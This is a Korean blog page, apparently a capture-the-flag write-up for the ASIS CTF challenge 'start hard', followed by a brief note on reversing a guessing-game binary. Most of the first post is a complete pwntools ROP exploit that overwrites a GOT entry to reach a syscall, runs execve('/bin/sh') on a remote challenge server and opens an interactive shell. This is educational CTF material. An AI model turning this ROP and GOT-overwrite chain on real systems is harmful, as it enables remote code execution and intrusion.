그러면 libc_start_main을 1바이트 덮어서 0x7f1234aa로 만들어서 이함수를 호출하면 syscall이 바로 호출되는 것이다.

그렇게 got를 덮어쓰고 rdi를 /bin/sh주소로 맞춰주고 rax를 execve 번호로 맞춰주고 호출한다. 


from pwn import *
import time
#r=process('start_hard_c8b452f5aab9a474dcfe1351ec077a601fdf8249')
r=remote('128.199.152.175',10001)
#raw_input()
readplt=0x400400
ppppppr=0x4005ba	#pop rbx rbp r12131415 ret
poprsi=0x4005c1
poprdi=0x4005c3
pay='AAAA'*4
pay+='BBBBBBBB'
readgot=0x601018
lsmgot=0x601020
bss=0x601038
lsmplt=0x400410

pay+=p64(ppppppr)
pay+=p64(8)
pay+=p64(0)*5
pay+=p64(poprsi)
pay+=p64(bss)
pay+=p64(0)
pay+=p64(poprdi)
pay+=p64(0)
pay+=p64(readplt)

pay+=p64(ppppppr)
pay+=p64(2)
pay+=p64(0)*5
pay+=p64(poprsi)
pay+=p64(lsmgot)
pay+=p64(0)
pay+=p64(poprdi)
pay+=p64(0)
pay+=p64(readplt)

pay+=p64(ppppppr)
pay+=p64(59)
pay+=p64(0)*5
pay+=p64(poprsi)
pay+=p64(bss+0x10)
pay+=p64(0)
pay+=p64(poprdi)
pay+=p64(0)
pay+=p64(readplt)


pay+=p64(ppppppr)	##pop rbx rbp r12131415 ret
pay+=p64(0)
pay+=p64(0)
pay+=p64(lsmgot)
pay+=p64(0)
pay+=p64(0)
pay+=p64(bss)
pay+=p64(poprdi)
pay+=p64(bss)		#/bin/sh
pay+=p64(poprsi)
pay+=p64(0)	#&/bin/sh
pay+=p64(bss)
pay+=p64(0x4005A0)	#syscall


r.sendline(pay)
time.sleep(0.5)
r.sendline('/bin/sh\x00')
#r.interactive()
#raw_input()
time.sleep(0.5)
r.send('\xa4\x78')	#libcstartmain->syscall
#raw_input()
time.sleep(0.5)
r.send(p64(bss)+p64(0)+'A'*(59-16))
time.sleep(0.2)
r.sendline('id')
if r.recv():
	r.interactive()
#r.interactive()
#except EOFError:
#	log.info('----EOF')
#	r.close()
#r.interactive()
#r.sendline('AAAA')
'''
r.sendline('id')
if r.recv(1):
	r.interactive()
'''


'CTF' 카테고리의 다른 글

asis secured portal  (0) 2017.04.13
[asisctf]wandere bits  (0) 2017.04.12
[VolgaCTF]guessing_game 200pt  (8) 2017.03.25
[codegate 2017 prequal]hunting  (0) 2017.02.13
[codegate17 prequal]hello protector  (0) 2017.02.12

바이너리가 100kb가 넘는 바이너리는 워게임같은 문제들에서는 거이 없는데 

300kb짜리 단순한 스무고개 게임을 하는 프로그램이었는데 300kb이고 api가 많았다

최근에 리버싱문제를 조금 풀었던 경험으로 루틴을 찾았다

사실 밑에 사진처럼 그냥 대놓고 있다~

엉뚱한거 복잡한가보다 삽질했다ㅋㅋㅋㅋ

그냥 예전에 문제 풀던데로 트레이싱 하니까 비교적 쉽게 나왔다(근데 삽질했다)






'CTF' 카테고리의 다른 글

[asisctf]wandere bits  (0) 2017.04.12
[asisctf]start hard  (0) 2017.04.12
[codegate 2017 prequal]hunting  (0) 2017.02.13
[codegate17 prequal]hello protector  (0) 2017.02.12
[codegate17 prequal]messenger  (0) 2017.02.11

+ Recent posts